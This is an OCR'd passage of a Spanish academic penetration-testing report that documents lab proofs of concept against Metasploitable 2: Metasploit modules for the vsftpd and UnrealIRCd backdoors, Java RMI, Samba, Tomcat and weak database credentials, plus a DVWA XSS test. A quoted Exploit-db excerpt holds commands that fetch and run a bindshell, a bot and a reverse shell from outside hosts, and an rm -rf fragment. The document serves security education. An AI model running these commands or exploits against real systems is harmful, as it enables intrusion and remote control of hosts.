File Edit View History Bookmarks Tools Help
Metasploitable 2 - Linux | 5 |
@« 5 192.168.1.109 v @ (@~

=}

Warning: Mever expose this WM to an untrusted network!
Contact: msfdevlatimetasploit.com

Login with msfadmin/msfadnin to get started

Jorge Eliecer Amorocho Mateus
CC: 1.101.686.397

11 noviembre del 2018

15:50 horas

T Metasploitable? - ...

Fuente: Del autor

6.5.3.2 Prueba de concepto 2 — VSFTPD 2.3.4. Continuando con el mismo
procedimiento de la prueba de concepto 1 ...véase el numeral 3.5.3.1...
concerniente a la identificacion de la vulnerabilidad del reporte de OpenVAS,
informacion aportada por la herramienta Vulnerability & Exploit Database relativa a
los datos del médulo en Metasploit e informacion brindada por la herramienta
ExploitDatabase (Exploit-db) acerca del Exploit que explota la vulnerabilidad
identificada.

En la figura 24 se examina el reporte suministrado por Vulnerability & Exploit
Database concerniente a la vulnerabilidad VSFTPD version 2.3.4, comunicando
gue se trata de un médulo que explota un backdoor que se adjunté al archivo, este
agujero de seguridad estuvo en “vsftpd-2.3.4.tar.gz” por el lapso dos dias para el
afio 2011. Este malware fue eliminado el 3 de julio de 2011. Fuente
https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234 backdoor.
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Figura 24. Investigacion de la vulnerabilidad VSFTPD 2.3.4

(3 ~ VSFTPD v2.3.4 Backdoor Command Execution | Rapid7 - Google Chrome \?HFH?\I

& C @ httpsy//www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor B aw D

RAPID

About  For Customers ~ Free Tools

Vulinerability & Exploit Database

Vulnerability & Exploit Database

Back to search

VSFTPD v2.3.4 Backdoor Command Execution

This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4tar.gz archive between June 30th
201 and July 1st 201 according to the most recent information available. This backdoer was removed on July 3rd 2011

Module Name
exploit/unix/ftp/vsftpd_234_backdoor Free MetaSD\Oit Download

Get your copy of the world's leading penetration testing tool

puthors
hdm <x [at] hdm.io>

MC <mc [at] metasploit.com>

Fuente: Del autor

Asimismo, en la figura 25 se evidencia las opciones disponibles del mdodulo
exploit/unix/ftp/vsftpd_234 backdoor a emplear en Metasploit.

Figura 25. Opciones del médulo exploit/unix/ftp/vsftpd 234 backdoor
Module Options

To display the available options, load the module within the Metasploit consaole and run the commands 'show options' or 'show advanced":

msf > use exploit/unix/ftp/vsftpd_234 backdoor
msf exploit( ) > show targets

exploit( ) » set TARGET <target-id>
exploit( ) > show options

) » exploit

Fuente: Del autor

En la figura 26 se analiza la informacion brindada por la herramienta
ExploitDatabase (Exploit-db) acerca del Exploit que explota la vulnerabilidad en
VSFTPD versibn 2.3.4 en Metasploit. Fuente - https://www.exploit-
db.com/exploits/17491/
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Figura 26. Investigacion Exploit para VSFTPD 2.3.4
'f _vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) - Google Chrome = || &=
&« C @ nttps//www.exploit-db.com S
IE'KAPTIA"BIES‘E Home Exploits Shellcode Papers  Google Hacking Database  Submit h

Fuente:

Por su parte en la figura 27 se observa la configuracion realizada al mdédulo
“‘exploit/unix/ftp/vsftpd_234 backdoor”
contempla el registro de la direccion destino (Host a auditar), seleccion del
Payload “cmd/unir/interact”, se especifica el puerto remoto que escuchara el
Payload (21 FTP). Finalmente se efectla la explotacion obteniendo un Shell con

vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)

EDB-ID: 17491 Author: Metasploit Published: 2011-07-05
CVE: N/A Type: Remote Platform: Unix
Aliases: N/A Advisory/Source: N/A Tags: Metasploit Framework (MSF)

E-DB Verified: ¢  Exploit: § Download / View Ra

Vulnerable App: [

en

privilegios de “root” como lo corrobora la figura 28.

la herramienta Metasploit,

Figura 27. Configuracién al médulo “exploit/unix/ftp/vsftpd_234 backdoor”

[
Aplicaciones Lugares & o)

vie 9 de nov, 10:30

root@Kali: ~

d/unix/inte

B root@Kali: -

Fuente: Del autor
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Figura 28. Obtencion de sesion Shell (Root)

Aplicaciones Lugares 't E vie 9 de nov, 10:31
root@Kali: ~

The targe

/interact) :

Exploit target:
Id Name

(¢} Automatic

opened (192.168.1.10 3 -> 192.168.1.109:

24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i68¢

initrd 1 ounc ohup .c 5yS  var
initrd.img med . t vmlinuz
lib mnt > £

B root@Kali: - € Iceweasel

Fuente: Del autor

6.5.3.3 Prueba de concepto 3 — UnReallRC 3.2.8.1. Continuando con el
mismo procedimiento de la Prueba de Concepto 1 ...véase el numeral 3.5.3.1...
en la figura 29 se observa la informacion aportada por la herramienta Vulnerability
& Exploit Database respeto a UnReallRC version 3.2.8.1, comunicando que se
trata de un modulo que explota un backdoor que se introdujo al archivo de
descarga de Unreal IRCD 3.2.8.1.

Este incidente se evidencié en el archivo “Unreal3.2.8.1.tar.gz”, por un término de
aproximadamente ocho meses durante los afios 2009 y 2010. Esta puerta trasera
fue eliminada el 3 de julio de 2011. Fuente -
https://www.rapid7.com/db/modules/exploit/unix/irc/unreal_ircd_3281 backdoor
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Figura 29. Investigacion de la vulnerabilidad UnReallRC 3.2.8.1

¢ CVE-2010-2075 UnreallRCD 3.2.8.1 Backdoor Command Execution | Rapid7 - Google Chrome = = | =
- L
I C @ https//www.rapid7.com/db/modules/exploit/unix/irc/unreal_ircd_3281_backdoor W oa x D

& Signin
RAP’D About  For Customers  Free Tools

Vulinerability & Expioit Database

Vulnerability & Exploit Database

Back to search
UnreallRCD 3.2.8.1 Backdoor Command Execution

This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive, This backdoor was present in the Unreal3.28.1tar.gz archive between

November 2009 and June 12th 2010.

Module Name

exploit/unix/irc/unreal_ircd_3281_backdoor

Free Metasploit Download

Get your copy of the world's leading penetration testing tool

Authors

hdm <x [at] hdm.io>

Fuente: Del autor

Igualmente, en la figura 30 se aprecia las diferentes alternativas presentes en el
modulo exploit/unix/irc/unreal_ircd_3281 backdoor a emplear en Metasploit.

Figura 30. Opciones del médulo exploit/unix/irc/unreal_ircd_3281 backdoor

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced"

> use exploit/unix/irc/unreal ircd 3281 backdoor

mst
msf exploit( ) > show targets

exploit( ) > set TARGET <target-id>

msf
msf exploit( ) > show options

) > exploit

Fuente: Del autor

En la figura 31 se observa la informacién brindada por la herramienta
ExploitDatabase (Exploit-db) acerca del Exploit que explota la vulnerabilidad en
Unreal IRCD version 3.2.8.1 (CVE: CVE-2010-2075) en Metasploit. Fuente -
https://www.exploit-db.com/exploits/13853/.
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Figura 31. Investigacion Exploit que explota la vulnerabilidad Unreal IRCD 3.2.8.

¢ UnreallRCd 3.2.8.1 - Remote Downloader/Execute - Google Chrome = | e ] =
y - —

& [&] & https://wwaw.exploit-db.com & o o

Elnpl.l'nnnlxs‘t Home Exploits Shellcode Papers Google Hacking Database Submit Search

UnreallRCd 3.2.8.1 - Remote Downloader/Execute

O
853 Author: anonymous Published: 2010-06-13 =I
2075 Type: Rem: Platform: Linux —— ‘

E-DB Verified: & Exploit: & Download / View Raw  Vulnerable App: [

2.8.1 Remote Downloader/Execute Trojan
T DISTRIBUTE -PRIVATE-
(218)

; uget http://packetstormsecurity.org/groups/synnergy/bindshell-unix -0 bindshell; chmod +x bindshell;

et http://efnetbs.webs.com/bot.txt -0 bot; chmod +x bot; ./bot & ;
et http://efnetbs.webs.com/r.txt -0 rshell; chmod +x rshell; ./rshell &';
ar

frm’ Fr wf*;/bin/rm fr =t

Fuente: Del autor

Por su parte en la figura 32 se observa la configuracion realizada al moédulo
“‘exploit/unix/irc/unreal_ircd_3281 backdoor” en la herramienta Metasploit, se
muestra el registro de la direccion destino (Host a auditar), se especifica el puerto
remoto que escuchara (6667). Finalmente se efectla la explotacion obteniendo un
Shell con privilegios de “root” como lo corrobora la figura 33 a en la herramienta
Metasploit.

Figura 32. Configuracion modulo “exploit/unix/irc/unreal_ircd 3281 backdoor”

E o || B &R

Aplicaciones Lugares r E vie 9 de nov, 10:40

root@Kali: ~

r Terminal Ayuda

Fuente: Del autor
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Figura 33. Obtencion de sesion Shell (Root)

Aplicaciones Lugares & [o) vie 9 de nov, 10:41

root@Kali: ~

Archive Editar Ver Buscar Terminal Ayuda

o

Target

me; using your IP adc

Fuente: Del autor

6.5.3.4 Prueba de concepto 4 — Java RMI Server. Continuando con el mismo
procedimiento de la Prueba de Concepto 1 ...véase el numeral 3.5.3.1... en la
figura 34 se observa la informacién aportada por la herramienta Vulnerability &
Exploit Database respeto a Java RMI Server Insegura configuracion
predeterminada Java Code Execution.

Este modulo explota la configuracién del registro y servicio RMI, la cual admite

montar clases desde diferente URL remota. Fuente -
https://www.rapid7.com/db/modules/exploit/multi/misc/java_rmi_server.
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Figura 34. Investigacion de la vulnerabilidad Java RMI Server
(2

—
CVE-2011-3556 Java RMI Server Insecure Default Configuration Java Code Execution | Rapid7 - Google Chrome [= & |[=]

< C @& https//www.rapid7.com/db/modules/exploit/multi/misc/java_rmi_server

B a % D

RAPID

About  For Customers ~ Free Tools

Vulnerability & Exploit Database

Vulnerability & Exploit Database

Back to search

is active in the same Java process. RMI methed calls do not support of require any sort of authentication.

Module Name

exploit/mui/misc/java_rmi_server Free Metasploit Download
Get your copy of the world's leading penetration testing tool
Authors &  DOWNLOAD NOW
mibi

Fuente: Del autor

Asimismo, en la figura 35 se evidencia las opciones disponibles del mddulo
exploit/multi/misc/java_rmi_server a emplear en Metasploit.

Figura 35. Opciones del médulo exploit/multi/misc/java_rmi_server
Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced":

sf > use exploit/multi/misc/java rmi server
st exploit( ) > show targets

st exploit( ) > set TARGET <target-id»

st exploit( ) > show options

) > exploit

Fuente: Del autor

En la figura 36 se observa la informacion brindada por la herramienta
ExploitDatabase (Exploit-db) acerca del Exploit que explota la vulnerabilidad Java
RMI Server Insegura configuracion predeterminada Java Code Execution (CVE:
CVE-2011-3556) en Metasploit. Fuente - https://www.exploit-
db.com/exploits/17535/
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Figura 36. Investigacion Exploit que explota la vulnerabilidad Java RMI Server

[3 Java RMI - Server Insecure Default Configuration Java Code Execution (Metasploit) - Google Chrome o |[eP|[=
b 8
< C & hitps//www.exploit-db.com B o D
EXPLOIT » i :
nnTans E Home Exploits Shellcode Papers Google Hacking Database Submit Search

Java RMI - Server Insecure Default Configuration Java Code
Execution (Metasploit)

Author: Metasploit Published: 2011-07-15
6  Type: Remote Platform.
Aliases: N/A Advisory/Source: N/A Tags: Metasploit Framework (MSF)
E-DB Verified: & Exploit: § Download / View Raw  Vulnerable App: N/A
Previous Exploit ext Exploi

##
# $Id: java_rmi_server.rb 13186 2011-87-15 20:44:@8Z egypt $
##

 the Metasploit Framework and may be subject to
a trictions. Please see the Metasploit
mation on licensing and terms of use.

Fuente: Del autor

En la figura 37 se observa la configuracion realizada al maddulo
“‘exploit/multi/misc/java_rmi_server” en la herramienta Metasploit, se muestra el
registro de la direccion destino (Host a auditar), se especifica el puerto remoto
(1099), puerto local para escuchar (8080). Finalmente se efectla la explotacion
obteniendo una sesién Meterpreter de Metasploit (Interprete de comandos).

Figura 37. Obtencion de sesion Meterpreter

vie 9 de nov, 10:50

root@Kali: ~

Fuente: Del autor
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6.5.3.5 Prueba de concepto 5 — Samba (v3.0.20 a 3.0.25rc3). Continuando
con el mismo procedimiento de la prueba de concepto 1 ...véase el numeral
3.5.3.1... En la figura 38 se observa la informacion aportada por la herramienta
Vulnerability & Exploit Database acerca de la debilidad relacionada con la
implementacion de comandos en Samba en las versiones 3.0.20 a 3.0.25rc3.
Fuente - https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script.

Figura 38. Investigacion de la vulnerabilidad Samba (v3.0.20 a 3.0.25rc3)

¢ CVE-2007-2447 Samba "username map script” Command Execution | Rapid? - Google Chrome ‘?”E"§|I

¢« C @ https//www.rapid7.com/db/modules/exploit/multi/samba/usermap_script G a %

a signin

RAP’D About  For Customers  Free Tools

Vuinerability & Exploit Database

Vulnerability & Exploit Database

Back to search

Samba "username map script” Command Execution

This module exploits a command execution vulnerabi when using the non-default “username map script” configuration option. By

specifying a username containing shell ms s, att; arbitrary commands. No authentication is needed to exploit this vulnerability since this option is
used to map usernames prior to autl

Module Name

exploit/multi/sambausermap_script Free Metasploit Download

Get your copy of the world's leading penetration testing tool

puthors
jduck <jduck [at] metasploitcom>

Fuente: Del autor

Igualmente, en la figura 39 se aprecia las diferentes alternativas presentes en el
maodulo exploit/multi/samba/usermap_script a emplear en Metasploit.

Figura 39. Opciones del médulo exploit/multi/samba/usermap_script

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced"

> use exploit/multi/samba/usermap_script
exploit( )} > show targets

msf
msf

)} > set TARGET <target-id>
)} > show options

)} > exploit
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En la figura 40 se evidencia la informacion brindada por la herramienta
ExploitDatabase (Exploit-db) acerca del Exploit que explota la debilidad informatica
relacionada con la ejecuciéon de comandos en las versiones 3.0.20 a 3.0.25rc3 de
Samba cuando se utiliza la opcion de configuracion "script de nombre de usuario”
no predeterminada (CVE: CVE-2007-2447) en Metasploit. Fuente -
https://www.exploit-db.com/exploits/16320/.

Flgura 40. Investlgamon Exploit que Samba (v3.0.20 a 3.0.25rc3
¢

Samba 3. DZD < 3.0.25r¢3 - 'Username” map script’ Command Execution (Metasploit) - Google Chrome o[ | %=
& C @ httpsy//www.exploit-db.com/exploits/16320 o D
Bun.ril'n“BIESE Home Exploits Shellcode Papers Google Hacking Database Submit Search

Samba 3.0.20 < 3.0.25r¢3 - 'Username"’ map script' Command
Execution (Metasploit)

EDB-ID: 16320 Author: Metasploit Published: 2010-08-18
-2447  Type: Remote Platform: Unix
Aliases: N/A Advisory/Source: N/A Tags: Metasploit Framework (MSF)

E-DB Verified: ¢ Exploit: § Download / View Raw  Vulnerable App: N/A

1s Exploit Next Exploit »

#H
# $Id: usermap_script.rb 18840 2016-88-18 17:24:467 jduck §
##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/

##

require 'msf/core’
et aenloil SR ART SN (e
Fuente: Del autor

Por su parte, en la figura 41 se contempla la configuracion modificada del médulo
“‘exploit/multi/samba/usermap_script” en la herramienta Metasploit, se muestra
el registro de la direccion destino (Host a auditar), se especifica el puerto remoto
(139).

Finalmente se efectla la explotacion obteniendo un Shell como lo corrobora la
figura 42 a en la herramienta Metasploit.
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Figura 41. Configuracidén médulo “exploit/unix/irc/unreal_ircd 3281 backdoor”

ﬁ o | 3| =

Aplicaciones Lugares vie 9 de nov, 10:53

root@Kali: ~

Archivo Editar Ver Buscar Terminal Ayuda

Module

et RH 1
> show options
samba/usermap_script) :
uired
:H'n'- target ‘.)dd
The target-port
Exploit

Id Name

ms f t( ) >

3] root@Kali: ~ € lceweasel

Fuente: Del autor

Figura 42. Obtencién de sesién Shell (Root)

vie 9 de nov, 10:53 PO = ™

root@Kali: ~

Archivo Editar Ver Buscar Terminal Ayuda

Fuente: Del autor
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6.5.3.6 Prueba de concepto 6 — Unpassworded Account Check and
Ingreslock Backdoor (Port 1524). En la figura 43 se contempla el proceso acceso
al servicio de base de datos MySQL (Sistema de Gestién de Bases de Datos) de
manera remota, la vulnerabilidad esta presente debido a que la cuenta “root” no
cuenta con contrasefia, logrando el acceso completo a todas las bases de datos
registradas.

Figura 43. MYSQL — Unpassworded Account Check

Aplicaciones Lugares 't E vie 9 de nov, 11:02

root@Kali: ~

rmation_schema

o
| D
+
| 1
|
|
|
|
|
|
-
7

root@Kali: ~

[root@Kali: =) B root@Kali: -

Fuente: Del autor

En la figura 44 se observa el proceso de acceso al servicio Telnet a través del
puerto “1524”, el cual es el puerto “Ingreslock - Protocolo de Control de
Transmision” considerada como una puerta trasera. Estas dos vulnerabilidades
son reportadas por OpenVAS.
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Figura 44. Telnet - Ingreslock Backdoor (Port 1524)

Aplicaciones Lugares r E] vie 9 de nov, 11:03

root@Kali: ~

60 UTC 2068 1686 GNU/Linux

B root@Kali: -

Fuente: Del autor

6.5.3.7 Prueba de concepto 7 — ataque de diccionario.
Aprovecha el control de autenticacion, la efectividad del ataque es en razon al
empleo de credenciales no seguras, cuando una base de datos dispone de
contrasefias poco robustas brinda oportunidades para ser comprometida a través
de ataques de fuerza bruta o de diccionario. La técnica del ataque consiste en
emplear consecutivamente los términos almacenados en el diccionario para
validar la credencial correcta.

Las contrasefias mas comunes que no cumplen con las politicas de seguridad son
las que disponen datos personales del usuario o empresa, secuencias numericas
del teclado, claves con longitud corta, no empleo de combinacién de nuameros,
letra y simbolos especiales, etc. Estas credenciales en muchas ocasiones se
pueden conseguir a través de la ingenieria social para posteriormente personalizar
el diccionario de acuerdo con el perfil de la victima. La efectividad del ataque se
basa en la capacidad de procesamiento de datos para agilizar el proceso de
comprobacion y combinacion de credenciales.

En la figura 45 se observa el proceso de configuracion del mddulo

“auxiliary/scanner/postgres/postgres_login” en la herramienta Metasploit, se
trata de un modulo que permite efectuar un atague de diccionario en el servicio
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Postgres, asimismo, se registra el parametro para que se detenga cuando haya
encontrado las credenciales correctas, host victima, etc. Durante el proceso

encontrd el usuario “postgres” y clave “postgres”.

Figura 45. Configuracion modulo auxiliary/scanner/postgres/postgres_login
= || &2

vie 9 de nov, 11:11

root@Kali: ~

es_default_user

s_default_user.txt

' on dat : 'templatel’

se 'templatel’

1 database 'templatel

‘adnin' on date ‘templatel

Fuente: Del autor

Posteriormente, en la figura 46 se contempla el proceso acceso al servicio de base
de datos PostgreSQL (Sistema de Gestion de Bases de Datos) de manera remota,
se registra con el usuario “postgres” y clave “postgres”, dicha vulnerabilidad se
debe a no disponer de credenciales robustas y/o seguras.

Figura 46. Postgress — Ingreso al servicio gracias a al ataque diccionario.

s&b 12 de may, O2:30
root@Kali: ~

Fuente: Del autor
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6.5.3.8 Prueba de concepto 8 — Samba Symlink Traversal. Corresponde al
atague informatico que aprovecha los recursos compartidos de Samba, se efectia
de acuerdo al mismo procedimiento de la prueba de concepto 1 ...véase el
numeral 3.5.3.1... En la figura 47 se observa la informacién aportada por la
herramienta Vulnerability & Exploit Database acerca de la vulnerabilidad
transversal de directorio en el servidor CIFS (Common Internet File System) de
Samba, al especificar un recurso compartido grabable creando un directorio
enlazado con el sistema afectado (Archivo raiz). Fuente -
https://www.rapid7.com/db/modules/auxiliary/admin/smb/samba_symlink_traversal.

Figura 47. Investigacion de la vulnerabilidad Samba Symlink Traversal

B EHEHEI

c & https://www.rapid7.com/db/maodules/auxiliary/admin/smb/samba_symlink_traversa B oa v M

(2 CVE-2010-0926 Samba S_ymlink Directory Traversal | R_ap|d7 - Google Chrome

Vulnerability & Exploit Database

Back to search

Samba Symlink Directory Traversal

This module exploits a directory traversal flaw in the Samba CIFS server. To exploit this flaw, a writeable share must be specified. The newly created directory will link to the root
filesystem.

Module Name
ausiliary /admin/smb/samba_symlink_traversal Free Metasploit Download

Get your copy of the world's leading penetration testing tool

Authors
keope

hdm <x [at] hdm.ic>

References

news/symlink_attackhtml -
-

Asimismo, en la figura 48 se evidencia las opciones disponibles del médulo
auxiliary/admin/smb/samba_symlink_traversal a emplear en Metasploit.

Figura 48. Opciones del médulo auxiliary/admin/smb/samba_symlink_traversal

Module Options

To display the available options, load the module within the Metasploit console and run the commands *show options' or 'show advanced”:

> use auxiliary/admin/smb/samba_symlink_traversal
show actions

set ACTION <action-name>
show options

auxiliary( run

Fuente: Del autor
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En la figura 49 se contempla la informacién brindada por la herramienta
ExploitDatabase (Exploit-db) acerca del Exploit que explota la vulnerabilidad
transversal de directorio en el servidor CIFS (Common Internet File System) de
Samba, al especificar un recurso compartido grabable creando un directorio
enlazado con el sistema afectado (CVE: CVE-2010-0926) en Metasploit. Fuente -
https://www.exploit-db.com/exploits/33599/.

Figura 49. Investigacion Exploit para Samba Symlink Traversal

[3 Samba 3.4.5 - Symlink Directory Traversal - Google Chrome = & [ =
Lo ) 2 — - _SEEeeee—
G @ hitps//www.exploit-db.com/exploits/33599 & v D
Elplnl' F Home Exploits Shellcade Papers Google Hacking Database Submit Search

DATABASE
Samba 3.4.5 - Symlink Directory Traversal

Author: kingcope Published: 2010-02-04

26  Type: Remote Platform: Linux

Aliases: N/A Advisory/Source: Link Tags: N/A
E-DB Verified: Exploit: § Download / View Raw  Vulnerable App: N/A
Exploit Next Exploit »
ssssss : http://uwm.securityfocus.com/bid/38111/info
Samba is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.
Exploits would allow an attacker to access files outside of the Samba user’s root directory to cbtain sensitive information and perform
other attacks.
oit this issue, attacl require authenticated access to a uritable share. Note that this issue may be exploited through a writable
share accessible by guest accounts.
NOTE: The vendor stated that this issue stems from an insecure default configuration. The Samba team advises administrators to set 'wide
links = no' in the '[global]’ section of ‘smb.conf’.
smbelient patch (exploit):

samba-3.4.5/source3/client/client.c
/

Fuente: Del autor

Para que el ataque salga avante se requiere conocer previamente un recurso
compartido de Samba (Mover ficheros desde y hacia los recursos compartidos en
el servidor SMB), con el cliente “smbclient” es posible conocer dicha informacién
a través del siguiente parametro “smbclient -L \\192.168.0.109”.

En la figura 50 se puede evidenciar el recurso compartido “tmp”. Asimismo, en la
figura 51 se observa la configuracion realizada del moddulo
“auxiliary/admin/smb/samba_symlink_traversal” en la herramienta Metasploit,
se muestra el registro de la direccion destino (Host a auditar), se especifica el
puerto remoto (445), el nombre de un recurso compartido grabable en el servidor y
el nombre del directorio que debe apuntar al sistema de archivos raiz.

Finalmente se efectla la explotacion accediendo nuevamente con el cliente
“smbclient” a los recursos compartido “smbclient //192.168.0.16/tmp”.
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file://///192.168.0.109

Figura 50. Verificacion del recurso compartido SAMBA (smbcliente)

Aplicaciones Lugares r @ vie 9 de nov, 16:09
Examine y ejecute aplicaciones instaladas root@Kali: ~
Archivo Editar Ver B r Terminal uda

P-VA494DP2
LOITABLE metasp r (Samba 3. Debian)

B root@Kali: -

Fuente: Del autor

Finalmente se efectla la explotacion accediendo nuevamente con el cliente
“smbclient” a los recursos compartido “smbclient //192.168.0.16/tmp”.

Figura 51. Acceso al recuro compartido SMB

vie 9 de nov, 16:15
root@Kali: ~

Archive Editar Wer Buscar Terminal Ayuda

Fuente: Del autor

84



6.5.3.9 Prueba de concepto 9 — Tomcat. Continuando con el mismo
procedimiento de la prueba de concepto 1 ...véase el numeral 3.5.3.1... En la
figura 52 se observa la informacién aportada por la herramienta Vulnerability &
Exploit Database acerca de la vulnerabilidad que permite detectar la interfaz de
Fuente

administracion de Tomcat (Versiones 5.5 vy anteriores).

https://www.rapid7.com/db/modules/auxiliary/admin/http/tomcat_administration

Figura 52. Investigacion de la vulnerabilidad Tomcat Administration

€ Tomcat Administration Tool Default Access | Rapld? - Google Chrome

< [¢] @ https;//www.rapid7.com/db/modules/auxiliary/admin/http/tomcat_administration

RAPID About o Customers

Vulinerability & Exploit Database

Vulnerability & Exploit Database

Back to search

Tomcat Administration Tool Default Access

Detect the Tomcat administration interface. The administration interface is included in versions 5.5 and lowver. Port 8180 is the default for FreeBSD, 8080 for all others.

Module Name
auniliary/adrmin/http/tomeat_admiistration Free Metasploit Download

Get your copy of the world's leading penetration testing tool

AUthorS * DOWNLOAD NOW
Matteo Cantoni <goony [at] nothink.org>

[= (@]

ma v B

a signin

Free Tools

Fuente: Del autor

Igualmente, en la figura 53 se aprecia las diferentes alternativas presentes en el

maoédulo auxiliary/admin/http/tomcat_administration a emplear en Metasploit.

Figura 53. Opciones del médulo auxiliary/admin/http/tomcat_administration

Module Options

> use auxiliary/admin/http/tomcat_administration
auxiliar } > show actions

auxiliary( } > set ACTION <action-name>

auxiliary( } > show options

auxiliary( } > run

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced:

Fuente: Del autor
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En la figura 54 se observa la configuracion del  mdbdulo
“auxiliary/admin/http/tomcat_administration” en la herramienta Metasploit, se
muestra que se requiere registrar la direccién destino (Host a auditar) y se
especifica el puerto remoto (8180). Finalmente se lanza el Exploit obteniendo la
interfaz de administracion de “tomcat/tomcat”.

Figura 54. Configuracién del médulo “auxiliary/admin/http/tomcat_administration”

Aplicaciones Lugares ‘: = vie 9 de nov, 17:38
root@Kali: ~

Archivo Editar Ver Buscar Terminal Ayuda

sername

Server Administration] [tomc

Fuente: Del autor

Igualmente, en la figura 55 se percibe la informacién aportada por la herramienta
Vulnerability & Exploit Database respeto a la vulnerabilidad de acceso
predeterminado a la herramienta de administracion Tomcat. Fuente -
https://www.rapid7.com/db/modules/exploit/multi/http/tomcat_mgr_deploy. Esta
accion se efectia de acuerdo a los datos arrojados por OpenVASS, en las
referencias la vinculada con la vulnerabilidad de seguridad informatica conocida
como CVE-2009-3548.

Figura 55. Investigacion de la vulnerabilidad Tomcat Manager

CVE-2009-3843 Apache Tomcat Manager Application Deployer Authenticated Code Execution | Rapid7 - Google Chrome

C @ hips//www.rapid7.com

Vulnerability & Exploit Database

Vulnerability & Exploit Database

Back to search
Apache Tomcat Manager Application Deployer Authenticated Code
Execution

This

ontaining a jsp

Fuente: Del autor
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Nuevamente en la figura 56 se evidencia las opciones disponibles del médulo
exploit/multi/http/tomcat_mgr_deploy a emplear en Metasploit.

Figura 56. Opciones del médulo exploit/multi/http/tomcat_mgr_deploy

Module Options

To display the available options, load the module within the Metasploit conscle and run the commands 'show options' or 'show advanced:

> use exploit/multi/http/tomcat mgr deploy
exploit( ) > show targets

exploit ) > set TARGET <target-id>
exploit( ) > show options
nd set options...

exploit( ) > exploit

Fuente: Del autor

Por su parte en la figura 57 se observa la configuracion modificada del médulo
‘exploit/multi/http/tomcat_mgr_deploy” en la herramienta Metasploit, se
muestra el registro de la direccién destino (Host a auditar), las credenciales de
acceso, ruta URI, puerto remoto (8180), seleccibn del Payload
‘php/meterpreter/reverse_tcp” se especifica la direccion local (Maquina
Atacante) puerto local que escuchara el Payload (4444). Finalmente se efectla la
explotacion obteniendo una sesion Meterpreter de Metasploit (Interprete de
comandos) como lo evidencia la figura 58.

Figura 57. Configuracién del médulo “exploit/multi/http/tomcat_mgr_deploy”

vie 9 de nov, 17:42

root@Kali: ~

Fuente: Del autor
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Figura 58. Obtencion de sesion Meterpreter

Aplicaciones Lugares f E vie 9 de nov, 17:43

root@HKali: ~

4 root@Kali: =
= .
Fuente: Del autor

El root@Kali: - E root@Kali: -

6.5.3.10 Prueba de concepto 10 — CCS and Trojan PHP (DVWA). Las
vulnerabilidades en las aplicaciones web son comportamientos inesperados, son
catalogados como debilidades que pueden ser explotadas por los delincuentes
informaticos.

Metasploitable2 dispone del proyecto DVWA - Damn Vulnerable Web Application,
el cual corresponde a una herramienta de entrenamiento en seguridad web
disefiado PHP y MySQL, el objetivo es la explotacion vulnerabilidades informaticas
con 3 niveles diferentes de dificultad.

En la figura 59 se aprecia la pagina de la vulnerabilidad Stored Cross Site
Scripting del proyecto DVWA con nivel de dificultad baja, también conocido como
Cross Site Scripting directo, permite al atacante insertar instrucciones HTML o
Javascript en la aplicacion web vulnerable, conllevado al robo de cookies,
direccionamiento a paginas web externas, subir archivos maliciosos, modificacion
de la pagina web (Defacement), etc.

Al momento de insertar codigo en el formulario se evidencia que tiene una
restriccion de la cantidad de caracteres a recibir, facilmente puede ser soslayada
si se modifica el codigo fuente de la web vulnerable especificamente el parametro
maxlenght.
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<td>
<textarea>
maxlenght="50" rows="3" cols="50"
name="mtxMessage">
</textarea
</td>
</tr>

Por:

<td>
<textarea>
maxlenght="500" rows="3" cols="50"
name="mtxMessage">
</textarea>
</td>
</tr>

Figura 59. Stored Cross Site Scripting (DVWA - Metasploitable)
7 (=)@ =]

es  Lugares 'r E‘

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XS5) - Iceweasel

File Edit View History Bookmarks Tools Help
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Command Execufion
CSRF Sign Guesthook

File Inclusion |

SQL Injection |

SQL "ll.ﬂ‘o'l [BIIIIﬂ] u’:::a&::%'ms s atest comment
Upload |
XSS a l __More dlnfcr I O
P <td width=" 100 t A
“etd
textarea maxlength="500" rows="3"cols="50" name="mtxMessage’ textarea EI

for table tt CLONE

T Damn Vulnerable Web.. [CLONE]

Fuente: Del autor
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La figura 60 se observa el empleo del explorador web Iceweasel en la maquina
virtual con el sistema operativo Kali Linux (Maquina atacante), en la pagina de
vulnerabilidad Stored Cross Site Scripting se verifica si puede ser explotada a
traves insercion de siguiente codigo, asi:

Name: Proyecto UNAD
Message: <script>alert("Vulnerabilidad CSS — UNAD ")</script>

La instruccién “alert()” es del lenguaje de programacion interpretado JavaScript,
mostrara en la pantalla del usuario el mensaje “Vulnerabilidad CSS — UNAD”
como se corrobora en la figura 61, con ello se puede suponer que es posible
embeber instrucciones en la pagina web.

La potencia de esta técnica consiste que cualquier usuario a través de cualquier
host independientemente del explorador web empleado puede comprometer su
seguridad y no la del servidor (Host que alberga el proyecto DVWA).

Figura 60. Verificacion vulnerabilidad CSS
3

Aplicaciones Lugares g séb 10 de nov, 22:37

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (X55) - lceweasel
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Upload |
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DVWA Security | Message
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About |

[CLONE] ! Text.txt T Damn Vulnerable Web...

Fuente: Del autor
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Figura 61. Verificacion vulnerabilidad CSS

KALI Linux 2 [Corrienda] - Oracle VM VirtualBox = || = | = |

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Iceweasel - -
File Edit View History Bookmarks Tools Help
| ™ Damn Vulnerable Web App (... 3 “i_’Nu!l Tab ® u Ql|
€ [ @ 192.168.1.109/dvwalvulnerabilities/xss_s 9| @B~ a) 2%

